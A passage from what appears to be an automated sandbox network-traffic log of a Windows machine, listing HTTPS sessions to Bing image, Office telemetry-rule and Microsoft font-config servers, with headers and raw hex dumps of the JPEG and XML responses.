Eg+/-D%\^}h{-}6_]rkwo>s'}$OoUIOGo;[ds\|+S('^J3`eUh_/l~OOT<])}jXmQ1W}^Vs;AGs[WNTos?YNZX,;7V,
2024-11-27 10:14:34 UTC	8192	IN	Data Raw: b5 67 52 56 df 33 2c 7f ef ec aa ad 6f 2a c7 bb f7 75 10 c3 c6 9e db 1c f5 65 76 8b d6 f7 4c b1 d4 cb 32 fc 9f c3 59 ca cc ae 91 b5 36 6b 8d b2 79 7f dd a5 ca 9e e6 71 93 4b 46 5d 69 19 b7 7e f2 9d 0d e3 5b ec 92 19 36 b2 ba b7 fc 08 54 11 c4 c9 fe b3 e5 5a 81 8c 4f 3f 92 d2 48 b1 af dc a3 96 2f 74 69 09 b4 f9 93 35 23 bf 9f e7 92 6f 99 77 ee 7d 9e f5 dd 2e b3 16 b3 e1 fb 7d 2e 18 20 b7 b5 b5 4f 3e 1d e9 fc 5b 79 3b bf da ae 1f ec d2 3c 10 aa c7 22 fc 9b 77 a7 f5 ab fa 5a 5d e9 d2 3a b7 de 97 e5 74 fe fd 71 d7 c3 53 a9 69 6c d6 c7 a1 86 c5 55 a6 e4 9b ba 96 e6 95 b8 5b 6d 66 de e2 39 24 68 e2 fd ef c9 f2 b2 37 ff 00 15 4f d5 35 19 ee 24 7f 3a 4f 36 3b 89 9a 7f 25 ff 00 81 8f 5c ff 00 3a 92 fa e6 da ea c6 1b 7b 38 e3 8b ec e9 f3 be cd ac ec 7d 7e 95 5e de Data Ascii: gRV3,o*uevL2Y6kyqKF]i~[6TZO?H/ti5#ow}.}. O>[y;<"wZ]:tqSilU[mf9$h7O5$:O6;%\:{8}~^
2024-11-27 10:14:34 UTC	8192	IN	Data Raw: 63 6a f9 3f fa 12 d6 a6 bd 75 13 c6 90 b4 7f 2b 7d f7 ae 73 50 9d a7 9f cb 8e 4f 2b fd ba f5 70 35 67 53 59 98 d4 a4 a2 92 2c ac ed 2f cb e6 7c ad 4c fb 22 c1 23 6e 93 74 9f ed fc b5 4e de 29 62 8d a4 fb cd e7 7f 05 4a d7 bf 7e 39 3e 66 ae ba d4 e7 3f 75 3d 09 76 e4 57 1d 20 57 7f 2d 64 db fe c5 3a 48 1a 29 f6 c7 f7 56 a1 f3 f7 7c cb f2 af fe 3d 48 cf 2f c9 b9 fe 65 a8 8e 1d f2 a4 63 cd 79 12 5e 5b b4 a9 f3 7c ca ae ad b3 fd 9e f5 3d 8d b4 49 03 c8 df dc fb 8f 54 e6 b9 68 64 db fb c6 8f ee ef a9 66 d4 77 47 e4 ac 95 75 28 b8 c5 24 cd a3 1d 7d e2 7d b0 41 b5 63 93 ee d4 32 5c 6e 99 d6 38 ea 0f f6 96 86 5f dd fe f2 4d ad 58 ca 9a e7 6d 0b d0 b1 24 bb fe ec 9f bc aa d7 0f bf fd 22 3f e1 7f 29 ff 00 bb bb ff 00 af 51 4c 55 3f 79 1e ff 00 ee d5 96 81 9a 37 8e Data Ascii: cj?u+}sPO+p5gSY,/\|L"#ntN)bJ~9>f?u=vW W-d:H)V\|=H/ecy^[\|=IThdfwGu($}}Ac2\n8_MXm$"?)QLU?y7
2024-11-27 10:14:34 UTC	8192	IN	Data Raw: 74 30 db 69 f7 bb 36 c1 05 58 5f 0f 58 ff 00 cb 3f b2 b3 7f 72 bd 6c 1e 16 95 78 f3 29 a4 cc 6a 66 4e 9b e5 95 16 ff 00 af 43 15 60 b1 6b 74 92 3d 4b ee a7 df d9 45 d6 9f a7 bf cd 36 ad e5 7c 9f f3 c2 b7 ff 00 e1 1e 89 a3 79 bc b8 13 e7 fb 89 fe 15 0f f6 65 b3 4e 8b b2 3f 9b fa 56 f3 cb e5 19 af 7d 0e 39 ac 1f fc bb 76 fe bc 8c 15 b4 d2 20 f9 9b 56 92 5f fb 60 d4 97 53 db 4b 1a c7 f6 f9 1a 38 93 6a 7e e2 ba 89 bc 39 62 bf ea e4 81 db fb f5 1c 9e 1d 89 e4 dd e6 40 db 6b a5 e4 d3 76 97 3d fe 44 7f ac 14 a3 ff 00 2e 9d 8e 2a 68 34 f4 ff 00 97 b7 95 7e f7 dc a8 6d 66 44 9f cc 8d e4 dd 13 ee 47 fe e3 57 79 ff 00 08 dc 5e 5e e9 23 8f 6f dd fe 1a 17 c2 d6 cd 1e ef dc 6d fe e2 51 fd 8f 36 ad ce 89 59 f6 1d 3d 29 b5 f3 ff 00 33 87 91 da 5f bb f3 ff 00 b7 fd 6a b6 Data Ascii: t0i6X_X?rlx)jfNC`kt=KE6\|yeN?V}9v V_`SK8j~9b@kv=D.*h4~mfDGWy^^#omQ6Y=)3_j
2024-11-27 10:14:34 UTC	8192	IN	Data Raw: 92 d5 b6 fd c7 48 15 7f 3a 26 ff 00 84 cf 51 4f 26 fb 49 d3 6e ad db f8 25 4d cc f4 e3 84 a7 0d 60 ac ff 00 c5 7f d4 ca a6 36 ad 45 69 c9 3f fb 71 2f c6 c6 77 85 74 ed 0e c3 ce 92 3d 4a 4b 8f ba c9 0c d2 7c b0 fb 25 68 fd aa da 5b ab 79 9a d3 c8 86 27 f9 f6 3b 33 4d ed fe ed 79 e7 c5 ab d6 f0 ac 70 db ea 96 1a 3c 57 97 1f 34 36 90 a6 e6 87 fd a7 fe ed 70 36 ff 00 11 35 ab 39 3c 9b 19 23 b3 8e 24 66 77 b1 4f 99 db f1 f5 ae 2c 4e 36 14 a7 cb cf 76 bb 25 fa 33 bb 0b 96 d6 ad 4d 54 50 b2 7d db fb f6 bf de 53 f8 fd 6f e2 ad 4b e2 a6 a1 71 a4 c7 3f d9 65 75 5b 18 61 9f 72 a4 61 7e e8 3c 7e 35 c9 47 a1 f8 ab cb 4b 3b 8d 32 79 61 97 ef a2 7f 03 7d 6b a4 f1 37 8b f5 cf 10 cf 6e da b6 a5 25 d3 5b ee 68 51 e4 db b3 3d 7e ee 2a 5d 17 c6 fe 2f d2 20 db 0e ad 6b 2c 2a Data Ascii: H:&QO&In%M`6Ei?q/wt=JK\|%h[y';3Myp<W46p659<#$fwO,N6v%3MTP}SoKq?eu[ara~<~5GK;2ya}k7n%[hQ=~]/ k,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49796	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:33 UTC	346	OUT	GET /th?id=OADD2.10239360433543_1F4HJPO10Z3VYH0SK&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-27 10:14:33 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 688476 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C9176377359B40A083643C5F4502BE9A Ref B: EWR311000102045 Ref C: 2024-11-27T10:14:33Z Date: Wed, 27 Nov 2024 10:14:33 GMT Connection: close
2024-11-27 10:14:33 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 17 9c 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 31 31 3a 34 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:11:428
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: ea 6d 00 35 2a 48 da 9b 45 00 3b 77 bd 36 4a 6d 14 00 ea 29 bb a8 dd 40 0e a2 9b ba 9d 40 05 3a 9b 4e db 40 05 49 cd 26 ca 65 48 12 73 4e 4a 6f 34 e4 a0 07 51 44 74 50 03 76 9a 93 6d 36 a5 8e 80 08 e2 a9 63 5a 29 d1 b5 43 76 28 5f 2a 9d 1a d1 be 9f 1b 54 b7 70 1d 1a d4 b1 ad 45 ba 9d 1b 54 b1 a2 68 d6 a7 8d 6a 28 da a5 8e a5 8c 96 35 a9 7c aa 62 55 a8 16 b2 6c d0 83 ca 92 9f 1f 98 9f 7e ae 6d a8 a7 8b fe 5a 54 a9 5c 76 19 bb de 8d de f5 1e d3 46 d3 4e c2 1d 23 51 ba 9d 1c 54 dd b4 c0 97 7d 1e 6d 45 22 d1 b6 4a 00 97 7d 45 ba 9b b4 d3 b6 d0 26 ec 12 35 44 ed 4f 91 6a bc 8b 56 95 88 09 1b 7d 44 eb be 9f 45 58 15 e4 5a af b6 ad 3d 41 25 51 23 24 5a 29 b2 35 36 46 ad 00 75 1f f2 c6 a2 df 4d f3 69 d8 91 ce d5 14 94 d9 1a 87 ab 12 77 0a 63 b5 1b e9 9b bd e9 a5 Data Ascii: m5HE;w6Jm)@@:N@I&eHsNJo4QDtPvm6cZ)Cv(_TpEThj(5\|bUl~mZT\vFN#QT}mE"J}E&5DOjV}DEXZ=A%Q#$Z)56FuMiwc
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 4b fb 3b cc 8f cc 8e 39 62 de ff 00 f8 ed 79 7f 8e 3e 2c ea d7 10 f9 1e 06 d1 ee ec ad 3e 7f 32 f7 e4 fb 4e cf cb 72 7f c0 3f 3a e2 fc 79 f1 6f 52 bb f1 b4 7f da 9a 3d a6 a3 a3 dc 46 92 59 7d 86 5f f8 f0 fe ff 00 df c6 e6 ff 00 7a b2 f5 2d 3e ef 53 bb 8f 57 82 6b bf 3e e3 fe 59 f9 df 66 4f f6 55 e5 dd f2 2d 73 62 33 dc d7 13 04 aa 7b 91 7d bf cf 71 c7 01 46 32 f7 53 f9 99 f3 5f 5f a4 32 ea 3f 63 d4 3e d5 ff 00 3f 37 31 6c 7d bf f5 d5 f9 dd fe d5 1a e5 b4 69 6b 1e a3 e2 5b 39 a4 fd df ee ef 6e 7f d2 6c ff 00 d9 ff 00 57 ff 00 b3 2d 66 78 c7 50 8f fb 47 ec ba a6 83 36 83 a9 59 7f c7 ce a3 63 a8 79 df 68 fe fa b6 fc 8d d5 52 fb 57 f0 be 9f 0c 73 e8 30 dd dc 79 9f bb 93 ed da 86 f4 ff 00 b6 8b d2 b8 a3 09 dd 4b 77 fd 75 36 8d a3 a1 d7 78 57 c4 7a 17 8c 3e dd Data Ascii: K;9by>,>2Nr?:yoR=FY}_z->SWk>YfOU-sb3{}qF2S__2?c>?71l}ik[9nlW-fxPG6YcyhRWs0yKwu6xWz>
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 47 e6 45 13 ff 00 a3 ff 00 bb fe d0 ae 83 c6 3a 86 9b fd 89 73 3d 97 fa 3c 92 5c ff 00 c7 b7 c9 0b dc 45 bf f7 7b bf dc ab 1e 20 83 49 d5 74 3f 0f e9 da 46 8f 0d 96 ab 1c 93 5b ea 57 31 45 b1 ef f7 3e e8 5b 73 36 d5 6f e0 da b5 7f c6 36 d0 6a 16 97 3f f2 0f fd e7 fa bb 98 bf 72 96 ef bf cb f9 9b 1f 3c 8f fc 5f dd 6a d6 e9 b3 39 45 dc f2 c8 fc b9 6e f6 79 d0 c7 e6 7f cb 4a da 93 50 91 34 98 e0 79 bf 7f 6f bf fd 1a 2f fe 29 6b 36 eb 4a 48 b5 c9 2c bf 7d ff 00 3c ff 00 7b f2 7f bd 57 34 dd 2a d3 ce 8e 77 86 6f 2f fe 79 fd f7 93 fd ad ab fc 34 a4 d3 5b 8a 17 4c f7 bf 80 3f 13 75 2d 77 e2 45 b6 89 af 4d 69 71 3c 9a 6a 59 ff 00 69 7f a9 b9 b7 95 7e 4f de ef e2 4c fd d6 aa ff 00 b4 47 85 74 9b 7f 13 69 be 35 f0 be 9b a8 47 a1 de 7f a3 ea 51 cb 2f ef ac 2e 23 fe Data Ascii: GE:s=<\E{ It?F[W1E>[s6o6j?r<_j9EnyJP4yo/)k6JH,}<{W4*wo/y4[L?u-wEMiq<jYi~OLGti5GQ/.#
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 37 93 49 26 9d 72 97 11 ea 51 45 bf cb 4d ff 00 3f fb 91 6d f9 7f fa d5 f3 15 a6 a5 52 51 3d 9a 31 d1 3e 87 5d e5 41 7b ab 6c 79 a1 d2 af ac ad a6 b8 8f ec df 7e 39 63 b6 d8 af f2 fd f5 f2 fe 5d b5 97 e1 5f 09 dd da 5a 78 83 4b f1 2d e6 ad 71 1c 76 56 d7 f6 57 3e 6f 93 35 a5 bc bf 3c 29 f2 ff 00 c0 d0 ad 6c 78 56 0f b6 dd f8 82 f7 f7 52 5d 69 de 4c 71 c9 2c 49 fc 53 7f 0b 7f 74 a5 41 fd af 26 9f a1 ea df 62 bc 9a f6 ea e3 40 bc fb 37 da 7e 4f b5 c5 1d cf 98 d1 7f bf 1f 99 2e da eb cb a9 29 50 52 9e ac c3 15 27 19 e9 b1 e1 5e 07 d0 e0 d0 be 2c 5b 69 7a 75 e4 d2 69 de 22 8e ce ee da 4f f5 3f 6b 4d 9e 6f df ff 00 7f e4 ac d4 6b bf 0e 6b 96 d6 b3 d9 ff 00 68 e8 f7 1a b7 fc 4a 6e 62 97 f7 d1 db ba 6c f2 e3 fe 2f e3 af 46 d4 ac 6f ed 21 f0 6c c9 0c 3e 66 9d 73 Data Ascii: 7I&rQEM?mRQ=1>]A{ly~9c]_ZxK-qvVW>o5<)lxVR]iLq,IStA&b@7~O.)PR'^,[izui"O?kMokkhJnbl/Fo!l>fs
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 90 f8 93 56 d6 6d e4 b9 78 e3 b7 8f c9 9a 19 3f 8d bf 7f 12 fc 9b be f2 d2 58 85 45 da ab b3 1f b1 72 7e e9 f3 d4 6d a2 ff 00 67 dc cf a8 c3 fd b5 07 97 fb c8 ee 77 c3 35 bf f7 76 7f b3 59 7a 3c fa 4c 56 97 36 b6 b6 7f 68 ff 00 96 9e 67 dc 7f ff 00 66 be a1 93 f6 59 f0 f4 57 77 33 f8 53 c7 9a e6 9d 1d bc 8f 1f 97 a9 69 e9 37 f0 7f 0f dd df 11 ae 47 58 fd 9a a4 d0 b4 f9 75 ed 2f e2 47 87 af 2c 6c bf e3 f6 58 f4 a9 a6 fb 22 ec ff 00 96 89 0b 3e c5 a7 0c 7e 16 53 74 e3 53 56 29 e1 ea 24 e4 d1 e1 92 34 17 16 97 37 ba 77 9d 71 1c 71 ff 00 a4 c7 2c 49 be 3f ee 7f c0 6b 9f b5 9e ed e1 fb 13 c3 fb fb 89 3c cf 33 ca fe 0f ee d7 b4 e9 7f 01 be 24 8b 39 35 4f 0f 5a 69 3a f5 ac 7b fc bb 9d 23 56 49 92 ef fb eb e5 fc bf 77 bf f1 2d 70 7e 38 f8 73 e2 ff 00 0b ea d6 d6 Data Ascii: Vmx?XEr~mgw5vYz<LV6hgfYWw3Si7GXu/G,lX">~StSV)$47wqq,I?k<3$95OZi:{#VIw-p~8s
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: db e9 4d fd 97 b5 3f 0f 4b a7 f8 83 48 7b c9 a3 8f cb bc bf b9 fb 34 af be 3b 5f b1 c9 12 35 be df bf f3 75 dd 5d 17 c4 6b 9b ed 63 e0 ed b4 96 5f e8 df 69 91 35 bb df 2b 62 4d 69 2c 56 69 04 aa 90 ff 00 d3 45 f2 9f fd aa e7 a9 2e 69 dd ad 4d 21 78 c4 bf f1 6e e6 0d 37 f6 71 f1 25 aa 59 dd ea b1 c7 e2 3b 6f b3 79 72 a4 37 1a 65 bc 49 1c 36 f2 ed eb f3 79 55 f3 a6 87 e2 ad 77 fe 12 6f f8 9b c3 a8 6b 56 bf 3f 99 6d 2c af e7 7f b5 e5 3f 5a fa 3b e2 dc e9 e0 af d9 ae db 54 bd bc 9a e3 c4 7f 11 2c be c9 6f 73 6d 2f ee 60 66 99 6e 37 fc fc ec db d7 fd aa f9 af 4a bc bf 8a d2 3b 5d 22 1b b9 27 92 37 92 f6 e6 58 be 7d ff 00 f4 c9 ba f0 b5 34 e9 a7 19 3e 5b ad 8e 7c 54 bd f5 e8 58 be 5b 4d 3e ef 66 b7 0d df 9f 24 9e 65 b5 97 df 7b 78 a4 fe ff 00 fb 55 72 3f 14 78 Data Ascii: M?KH{4;_5u]kc_i5+bMi,ViE.iM!xn7q%Y;oyr7eI6yUwokV?m,?Z;T,osm/`fn7J;]"'7X}4>[\|TX[M>f$e{xUr?x
2024-11-27 10:14:34 UTC	16069	IN	Data Raw: fc 49 be ff 00 85 8f e3 cd 37 5e fe d2 d1 34 1b e9 34 9b 6b 0b 99 7f e7 e2 58 93 f7 d7 1f ed 7a 7c fb 77 6c af 99 c4 64 78 69 62 9c ee d7 a6 96 ec 7a 11 af 3e 4b 1e 89 a9 78 43 43 d1 7e 36 69 3e 15 d1 be 29 f8 ef 4a 83 54 8d 27 f0 c4 56 c5 2f b4 e9 e7 4f f9 77 8e 49 5f f8 3e e6 c7 ad df 80 ff 00 18 7c 43 07 8f 3c 49 e0 df 10 e8 ff 00 db 3a 97 da 5d 22 b7 be b4 fb 26 a5 3c 49 ff 00 2c 5d 79 56 da bf 32 fc d5 85 f1 db 50 f0 f6 93 a8 5c de d9 4d ae 78 ae 08 ec ad b5 bb db 69 2e fe d1 a5 c7 e6 fe e9 d9 76 ae fb 39 bf 8e 37 dd f2 d7 87 41 e2 fd 5a de 1f b5 69 7e 24 f1 0c 77 52 48 91 f9 97 df 3b dc 22 bf 9b 0c 5e 77 f7 77 fd ea ba 39 7a ac ad 51 37 65 6b bd ee ba 99 7b 6f 67 3b 5d 5b b2 3e b9 9f c8 b8 9a 4b a8 26 9b 4e fe d1 d4 a1 93 ed 37 3f 3a 5d a7 f7 a4 6f Data Ascii: I7^44kXz\|wldxibz>KxCC~6i>)JT'V/OwI_>\|C<I:]"&<I,]yV2P\Mxi.v97AZi~$wRH;"^ww9zQ7ek{og;][>K&N7?:]o
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: a2 38 e5 ff 00 53 fb bf fd 0a b7 be 3d 6a ff 00 d9 ff 00 f0 8f ec d1 ed 2e 35 28 ec a6 93 ec 52 c5 fb 9b 44 6c 7e f3 cb 5f f5 6f fe cb 55 af 87 ba 2c e9 f1 4b 56 4b af f4 8b ad 26 e6 1b 8f fa e8 ed f7 77 57 33 a9 6a 1a b2 7c 4d d4 a0 f0 6f 9d 71 25 be ac f7 16 d2 fd 91 2e 7c c7 57 dd f3 b3 7d ff 00 9b fb d5 cf 5e ed 59 17 14 ef b9 89 3f 8a bc 50 9a 7f f6 5d ec 33 47 6b 65 be e2 da da 28 93 c9 b7 f3 3e 6d db 6b 9e be 9e 07 ba 92 e9 fc e9 24 ff 00 be 2b ae d4 97 c4 32 dd df 41 e2 58 66 93 52 d6 ae 5e ee 49 25 95 36 5c 7f b3 b3 fb f5 87 7d e4 7e ee 0f ec df 2d fc c7 f2 ee 7f e7 a2 7f 77 f0 ac 22 92 5b 1a 6a c7 69 5e 2c d4 ad 26 92 ea ca cf 49 92 4b 88 fc b9 3e d3 a7 a4 df fa 1f f1 54 7a 97 f6 ee ab a7 dc eb 77 53 4d e5 c7 22 79 92 7d cf de b7 f0 fc bf ec d5 Data Ascii: 8S=j.5(RDl~_oU,KVK&wW3j\|Moq%.\|W}^Y?P]3Gke(>mk$+2AXfR^I%6\}~-w"[ji^,&IK>TzwSM"y}
2024-11-27 10:14:34 UTC	16384	IN	Data Raw: 14 69 fb 99 27 8f f7 91 f9 51 7f ac ff 00 6d ff 00 fa d4 56 76 3a 23 2b a3 ee 8f 0d f8 d6 df 5d b5 b9 d2 2f 7c 9b 8f b3 ef 83 52 d3 a4 fd f7 99 b7 ef b2 7f b3 e8 c2 b1 bc 67 73 27 86 bc 1b ab 78 a3 41 86 1d 67 4d d1 a3 9a ee e7 4a be b4 ff 00 89 8d bc 49 fe b2 dd 1b fb 9f c5 9f bd 5f 1e f8 ab e2 57 89 7c 09 a7 c9 a5 bd 9d a6 8b ae 69 da 97 d9 2f 6d bc a7 49 a4 8b 67 fa c5 46 fe 06 5a fa 1b c0 bf 1c bc 37 8d 27 5a d5 fc 79 69 71 e6 c8 9e 54 72 c2 90 fd ae 26 f9 1e 1d eb c6 e4 dd f3 79 95 f9 e4 b2 aa d4 92 f6 ab 9a 9b 7f 33 d4 75 a3 26 f9 74 91 dd 78 2b e2 c6 8b ae dd 46 fe 1b d5 f5 6b 8f b4 59 25 e4 76 d7 3b df cb fe 1f 29 7b b5 7c c3 fb 6a 68 fe 1e b4 f8 d9 fd bb 6b a7 4d a5 d8 f8 8b 4e 4b 8f 2e 38 bc 98 64 9d 77 c7 3f c8 df 75 b2 bc ad 69 7c 5e f8 51 e3 Data Ascii: i'QmVv:#+]/\|Rgs'xAgMJI_W\|i/mIgFZ7'ZyiqTr&y3u&tx+FkY%v;){\|jhkMNK.8dw?ui\|^Q

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:33 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:33 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101433Z-174f784596886s2bhC1EWR743w0000000wwg000000002e37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49798	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:34 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-27 10:14:34 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=145450 Date: Wed, 27 Nov 2024 10:14:34 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-27 10:14:34 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:34 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:34 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101434Z-174f7845968ljs8phC1EWRe6en0000000wrg000000000v5h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:35 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:35 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
